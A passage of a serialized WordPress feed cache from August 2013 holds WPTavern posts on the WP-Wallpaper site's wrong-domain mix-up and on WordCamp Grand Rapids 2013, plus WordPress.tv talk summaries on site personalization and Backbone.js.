\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:44:\"WPTavern: The Full Story Behind WP-Wallpaper\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8568\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:96:\"http://feedproxy.google.com/~r/WordpressTavern/~3/3luWcT9hGW8/the-full-story-behind-wp-wallpaper\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:6765:\"<p>If you&#8217;ve been scouring the web for WordPress specific images to use as your desktop background, have a look at <a href=\"http://wp-wallpaper.com/\" title=\"http://wp-wallpaper.com/\">WP-Wallpaper</a>. The site doesn&#8217;t have a huge variety of images to choose from now but over the course of the next few months, I think that will change. I reached out to Alison Barrett who manages the site to find out about its history and what plans if any she has for the site. <span id=\"more-8568\"></span></p>\n<div id=\"attachment_8569\" class=\"wp-caption aligncenter\"><a href=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WordPressLights.jpg\" rel=\"thumbnail\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WordPressLights.jpg?resize=439%2C275\" alt=\"WordPress Lights by Alison Barrett \" class=\"size-full wp-image-8569\" /></a><p class=\"wp-caption-text\">WordPress Lights by Alison Barrett</p></div>\n<p><strong>Can you provide a brief history of the domain, considering it existed before you purchased it?</strong></p>\n<p>I don&#8217;t know much about the previous owner of the domain. The original site was my main source of desktop wallpapers for a long time, and I had referred dozens of people to it. I was bummed when I learned the site was down. I went searching for the owner, and I didn&#8217;t realize the domain had expired until the whois search turned up empty.</p>\n<p><strong>Do you know of any other sites that have an abundant amount of WordPress desktop wallpapers?</strong></p>\n<p>I don&#8217;t know much about the previous owner of the domain. The original site was my main source of desktop wallpapers for a long time, and I had referred dozens of people to it. I was bummed when I learned the site was down. I went searching for the owner, and I didn&#8217;t realize the domain had expired until the whois search turned up empty.</p>\n<p>My initial reason for buying the domain was that I felt bad for referring friends to something that wasn&#8217;t even live anymore. Now I&#8217;m enjoying running the site, and I love seeing all the excitement around it. The community&#8217;s response to it is driving me to keep making it even better. I would love to find the creators of the wallpapers from the original site, because there were a lot of gorgeous images up there. I don&#8217;t want to republish them without attribution and permission.</p>\n<p>I can&#8217;t think of any other dedicated WP wallpaper sites off the top of my head, though a Google search might turn up one or two. I didn&#8217;t come across any when I was searching for the creators of the wallpapers on the original site.</p>\n<p><strong>Any chance of getting this site linked to from the Fan Art section of WordPress.org or having a small dedicated section showing 3-6 wallpapers?</strong></p>\n<p>I hadn&#8217;t thought about getting this site linked under the Fan Art section on .org—that&#8217;s a great idea! I&#8217;ll see what I can do.</p>\n<p><strong>Any chance of adding a ratings system, reviews, or any other social aspects to the images similar to DeviantArt?</strong></p>\n<p>I do plan on implementing a ratings system eventually, though my priority right now is supporting multiple resolutions for each wallpaper (including mobile). I will probably add some sharing tools in the near future as well.</p>\n<p><strong>How can people submit images to the site and how should the submissions be licensed? </strong></p>\n<p>Wallpapers can be submitted through the form on the submit page: <a href=\"http://wp-wallpaper.com/submit/\" title=\"http://wp-wallpaper.com/submit/\">http://wp-wallpaper.com/submit/</a> . Technical requirements are laid out there (and will be updated once I get mobile resolution support in place). Images must be released under the Creative Commons Attribution Share-Alike license, as that is what they are distributed under on the site.</p>\n<h2>Oops: After The Launch</h2>\n<p>After this interview was conducted with Alison, I did some research into the history of the domain since she didn&#8217;t know too much about it. I plugged the domain into the Wayback machine and didn&#8217;t see any results. For a site that Alison pointed to over the years for WordPress wallpapers, it stands to reason it would have some history behind it. Just for experimentation, I added an S to the end of the domain so it was <a href=\"http://wp-wallpapers.com/\" title=\"http://wp-wallpapers.com/\">http://wp-wallpapers.com/</a> and while that particular domain has expired, it did show up with quite a few results in the Wayback machine.</p>\n<p>The first record on the internet archive is for <a href=\"http://web.archive.org/web/20111017210657/http://wp-wallpapers.com/\" title=\"http://web.archive.org/web/20111017210657/http://wp-wallpapers.com/\">October 17th 2011</a>. This entry tells us that WP-Wallpapers.com used the Expose theme from ThemeForest to show off the content of the site. That theme is still available for sale but is not 100% GPL licensed. </p>\n<p><a href=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WPWallPapers.jpg\" rel=\"thumbnail\"><img src=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WPWallPapers.jpg?resize=500%2C359\" alt=\"WP Wallpapers\" class=\"aligncenter size-large wp-image-8699\" /></a></p>\n<p>The next entry was a WordPress maintenance page. However, <a href=\"http://web.archive.org/web/20120331034901/http://wp-wallpapers.com/\" title=\"http://web.archive.org/web/20120331034901/http://wp-wallpapers.com/?\">On March 31st 2012</a>, the site had a few pages of Wallpapers available. It&#8217;s also during this time that we discover the site was owned and operated by the Envato network. The last working entry is on <a href=\"http://web.archive.org/web/20130323233732/http://wp-wallpapers.com/\" title=\"http://web.archive.org/web/20130323233732/http://wp-wallpapers.com/\">March 23rd, 2013</a> with at least 5 pages worth of wallpaper images. </p>\n<h2>Conclusions</h2>\n<p>So not only has Alison pointed people to the wrong domain over the years, she also purchased the wrong domain. She missed it by one letter. I reached out to Envato to find out what their plans are for the domain:</p>\n<blockquote><p>We&#8217;re always trying to streamline our processes and focus more on the projects that really matter to us, which is why we decided to discontinue WP-Wallpapers.com. But we&#8217;re really happy to see WP-Wallpaper spring up to fill the gap! There are definitely some beautiful, creative WordPress wallpapers around.</p></blockquote>\n<p>Despite everything that&#8217;s happened up to this point with WP-Wallpaper.com, Alison is still excited to see the site grow. </p>\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/3luWcT9hGW8\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 27 Aug 2013 04:45:35 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Jeffro\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:1;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:54:\"WPTavern: My Experience – WordCamp Grand Rapids 2013\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8635\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:102:\"http://feedproxy.google.com/~r/WordpressTavern/~3/Tu_vAh6bwrA/my-experience-wordcamp-grand-rapids-2013\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:15414:\"<h2>Things I Learned About The City</h2>\n<p>This event marks the first time I&#8217;ve visited Grand Rapids, Michigan. I can say without any doubt that Grand Rapids is a beautiful city. I got the impression while being downtown that I was in a large city but it wasn&#8217;t large enough to feel inundated like New York or San Francisco. The skyline has large buildings but you can still see the horizon in some parts of downtown. The city also has a wide river that flows through and around the city which from what I&#8217;ve read, is the origin of the city&#8217;s name. However, I saw the river as wide, shallow, and nothing rapid about it. There is talk in the local community around the idea of placing large boulders back into the river to generate rapids but I&#8217;m unsure of that progress. <span id=\"more-8635\"></span></p>\n<p>The other thing I learned while in Grand Rapids was the number of local breweries in the region. I had the pleasure of eating at two of these breweries. One was called <a href=\"http://foundersbrewing.com/\" title=\"http://foundersbrewing.com/\">Founders</a>, the other was <a href=\"http://www.grbrewingcompany.com/\" title=\"http://www.grbrewingcompany.com/\">Grand Rapids Brewing Company</a>. The food was excellent in both locations and although I didn&#8217;t drink any beer since I&#8217;m not a hoppy kind of guy, the WordCamp attendees I was surrounded by couldn&#8217;t stop raving about some of the beers they tasted at each place. The third place I ate at in which I did try a beer (Brouwerij Lindeman Vlezenbeek, Belgium a raspberry flavored beer) was <a href=\"http://hopcatgr.com/main/About.aspx\" title=\"http://hopcatgr.com/main/About.aspx\">HopCat</a>. A place with something called &#8216;<strong>Crack Fries</strong>&#8216;. These crack fries are considered famous in the area because of the unique blend of spices applied to them. After eating them, you&#8217;ll understand why they have their name.</p>\n<h2>The Event Itself</h2>\n<p>The event was held at the <a href=\"http://www.gvsu.edu/\" title=\"http://www.gvsu.edu/\">DeVos Center on Grand Valley State University’s Pew Campus</a> in downtown Grand Rapids. Out of all the WordCamps I&#8217;ve attended, those that are at some sort of college campus location have gone smoothly. This one was no exception. Although I didn&#8217;t attend very many sessions, I did manage to catch up with quite a few people to talk shop and other interesting things going on in the world of WordPress. At this particular WordCamp, I moderated a panel discussion on the topic of Commercial Themes and Plugins with Pippin Williamson, Adam Pickering, Daniel Espinoza, and Jake Caputo. I think the session went over rather well and we covered a lot of information. The one thing that kept coming up multiple times during the talk was support. It&#8217;s expensive but it&#8217;s also the most valuable and potentially the most vital aspect of any business. We also discussed various methods to handle support as forums are great at the early stage but something like ZenDesk and tickets make sense for larger volumes of support requests. I definitely took some feedback to heart concerning my delivery and approach on stage during the session and if I ever moderate a panel like this again, the second one will be 10 times better than the first. Thanks to Brian Richards, one of the event organizers for giving me the opportunity to moderate the panel.</p>\n<p>The session that opened my eyes was <a href=\"http://2013.grandrapids.wordcamp.org/session/scoping-projects-a-therapy-session-for-those-who-do-client-work/\" title=\"http://2013.grandrapids.wordcamp.org/session/scoping-projects-a-therapy-session-for-those-who-do-client-work/\">Scoping Projects</a> – A Therapy Session For Those Who Do Client Work Lisa Sabin-Wilson. Not so much from the perspective of the consultant but from the perspective of a client, realizing everything the consultant has to go through to get the job done. Her idea of scoping and how important it is to get everything on the table before starting work was key. She also discussed why having assumptions can costs you big bucks, wasted time, and make you look bad in front of the client. There should be 0 assumptions from both parties in a project. As a future client myself, I realized that I could make the process go a lot easier for both parties if I scoped out everything I wanted, every nuance, provided documentation, references for ideas and inspiration, etc. The more information I can provide the consultant about my needs, the better off we&#8217;ll both be. It was a session that I didn&#8217;t think would appeal to me but it was the most eye-opening one I&#8217;ve attended in a long time. It was an interesting experience being in a room full of people and seeing/hearing their reaction when Lisa mentioned that <a href=\"http://lisasabin-wilson.com/tighten-up-those-terms-and-keep-copies-of-everything-forever/\" title=\"http://lisasabin-wilson.com/tighten-up-those-terms-and-keep-copies-of-everything-forever/\">she had been investigated by the FBI</a> and to perform a Google search to read about it. I won&#8217;t spoil it for you, you&#8217;ll just have to read her post. </p>\n<h2>Conclusion</h2>\n<p>Most of the time during the week-end I was involved in multiple conversations with all sorts of people doing awesome things with WordPress. Overall, it was a fantastic event. The organizers as well as the volunteers should be proud of themselves. I had such a good experience within Grand Rapids that I&#8217;m thinking of taking my wife there to experience more of the city. While contributor day was awesome at WordCamp San Francisco, it was nowhere near as effective at WordCamp Grand Rapids. I think a lot of that has to do with the right people not being in attendance such as core contributors, project managers, etc. With that said, those who did show up to contributor day were working with other people on WordPress or were taking the knowledge and ideas they gained the past two days to improve their own sites or projects. This has me wondering if any other WordCamp will be able to have a contributor day as beneficial as the one held at WordCamp San Francisco 2013? </p>\n\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/565\" title=\"CedarPoint From The Sky\"><img src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/565.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"CedarPoint From The Sky\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/570\" title=\"Sandwich From Grand Rapids Brewery\"><img src=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/570.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Sandwich From Grand Rapids Brewery\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/571\" title=\"View From The Amway Grand\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/571.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"View From The Amway Grand\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/572\" title=\"Van Andel Arena\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/572.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Van Andel Arena\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/573\" title=\"Van Andel Statue\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/573.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Van Andel Statue\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/574\" title=\"GR Brewing Company\"><img src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/574.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"GR Brewing Company\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/575\" title=\"GR Brewing Company Sign\"><img src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/575.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"GR Brewing Company Sign\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/576\" title=\"J Gardellas Sign\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/576.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"J Gardellas Sign\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/577\" title=\"Albert Einstein\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/577.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Albert Einstein\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/580\" title=\"Blue Bridge Skyline\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/580.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Blue Bridge Skyline\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/582\" title=\"Peace Sign In The Grand River\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/582.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Peace Sign In The Grand River\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/584\" title=\"River With Skyline\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/584.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"River With Skyline\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/588\" title=\"Large Bridge\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/588.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Large Bridge\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/589\" title=\"Sign About Pew Campus\"><img src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/589.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Sign About Pew Campus\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/590\" title=\"Front Of DeVos Center\"><img src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/590.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Front Of DeVos Center\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/591\" title=\"DeVos Clock Tower\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/591.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"DeVos Clock Tower\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/592\" title=\"DeVos Campus\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/592.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"DeVos Campus\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/593\" title=\"WCGR Badge 1\"><img src=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/593.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"WCGR Badge 1\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/594\" title=\"WCGR Badge 2\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/594.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"WCGR Badge 2\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/595\" title=\"WCGR Badge 3\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/595.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"WCGR Badge 3\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/596\" title=\"WCGR Badge 4\"><img src=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/596.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"WCGR Badge 4\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/597\" title=\"WCGR Badge 5\"><img src=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/597.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"WCGR Badge 5\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/598\" title=\"Grand Rapids Night Shot 1\"><img src=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/598.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Grand Rapids Night Shot 1\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/599\" title=\"Grand Rapids Night Shot 2\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/599.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Grand Rapids Night Shot 2\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/600\" title=\"Grand Rapids Night Shot 3\"><img src=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/600.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Grand Rapids Night Shot 3\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/601\" title=\"Grand Rapids Night Shot 4\"><img src=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/601.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Grand Rapids Night Shot 4\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/604\" title=\"Grand Rapids Night Shot 5\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/604.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Grand Rapids Night Shot 5\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/605\" title=\"Amway Grand Hotel\"><img src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/605.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Amway Grand Hotel\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/606\" title=\"Front Of The Amway\"><img src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/606.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Front Of The Amway\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/608\" title=\"Hop Cat Menu\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/608.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Hop Cat Menu\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/609\" title=\"Hop Cat Bruschetta\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/609.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Hop Cat Bruschetta\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/610\" title=\"Crack Fries 1\"><img src=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/610.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Crack Fries 1\" /></a>\n<a href=\"http://www.wptavern.com/my-experience-wordcamp-grand-rapids-2013/attachment/611\" title=\"Crack Fries 2\"><img src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/611.png?resize=150%2C150\" class=\"attachment-thumbnail\" alt=\"Crack Fries 2\" /></a>\n\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/Tu_vAh6bwrA\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 27 Aug 2013 03:34:51 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Jeffro\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:2;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"WordPress.tv: Jesse Friedman: Real-Time Site Personalization\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21698\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:77:\"http://wordpress.tv/2013/08/26/jesse-friedman-real-time-site-personalization/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1325:\"<p><div id=\"v-WNfjxQ4w-1\" class=\"video-player\">\n</div>Let’s start building “Dynamic Web Environments” that make intelligent, data driven, real time decisions regarding the content it serves or the experience it delivers. Venturing into this realm will allow you to create a website that modifies its own functionality, layout, and content in real time. We can begin building web environments that cater to a users needs before they even have a chance to express them. Find out how, in this talk, where Jesse will cover specific instances where we can use mobile technology, data from analytics and user feedback to build dynamic web environments.</p>\n<div id=\"v-WNfjxQ4w-2\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21698/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21698/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21698&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/26/jesse-friedman-real-time-site-personalization/\"><img alt=\"Real Time Site Personalization\" src=\"http://videos.videopress.com/WNfjxQ4w/real-time-site-personalization_std.original.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 27 Aug 2013 01:59:02 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:11:\"Luke Gedeon\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:3;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:69:\"WordPress.tv: K Adam White: Evolving Your JavaScript with Backbone.js\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21684\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:86:\"http://wordpress.tv/2013/08/26/k-adam-white-evolving-your-javascript-with-backbone-js/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1438:\"<p>WordPress 3.6 includes Backbone.js version 1.0, the JavaScript library used in the new WordPress media uploader. It can be intimidating to get started with a library like Backbone, but it is a powerful tool for developers of WordPress plugins, themes and web apps. In this session we’ll look at several ways to integrate Backbone into your WordPress themes and plugins, including a step-by-step demonstration of how Backbone improves the quality of your existing jQuery code. There’s no reason to stop there though — to close we’ll walk through other exciting ways to use Backbone alongside WordPress, including how to make a standalone Backbone application that only uses WordPress for its data. Mad science, for fun and profit!</p>\n<div id=\"v-UwReWU0w-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21684/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21684/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21684&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/26/k-adam-white-evolving-your-javascript-with-backbone-js/\"><img alt=\"Evolving Your JavaScript with Backbone\" src=\"http://videos.videopress.com/UwReWU0w/evolving-your-javascript-with-backbone_std.original.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 27 Aug 2013 01:58:05 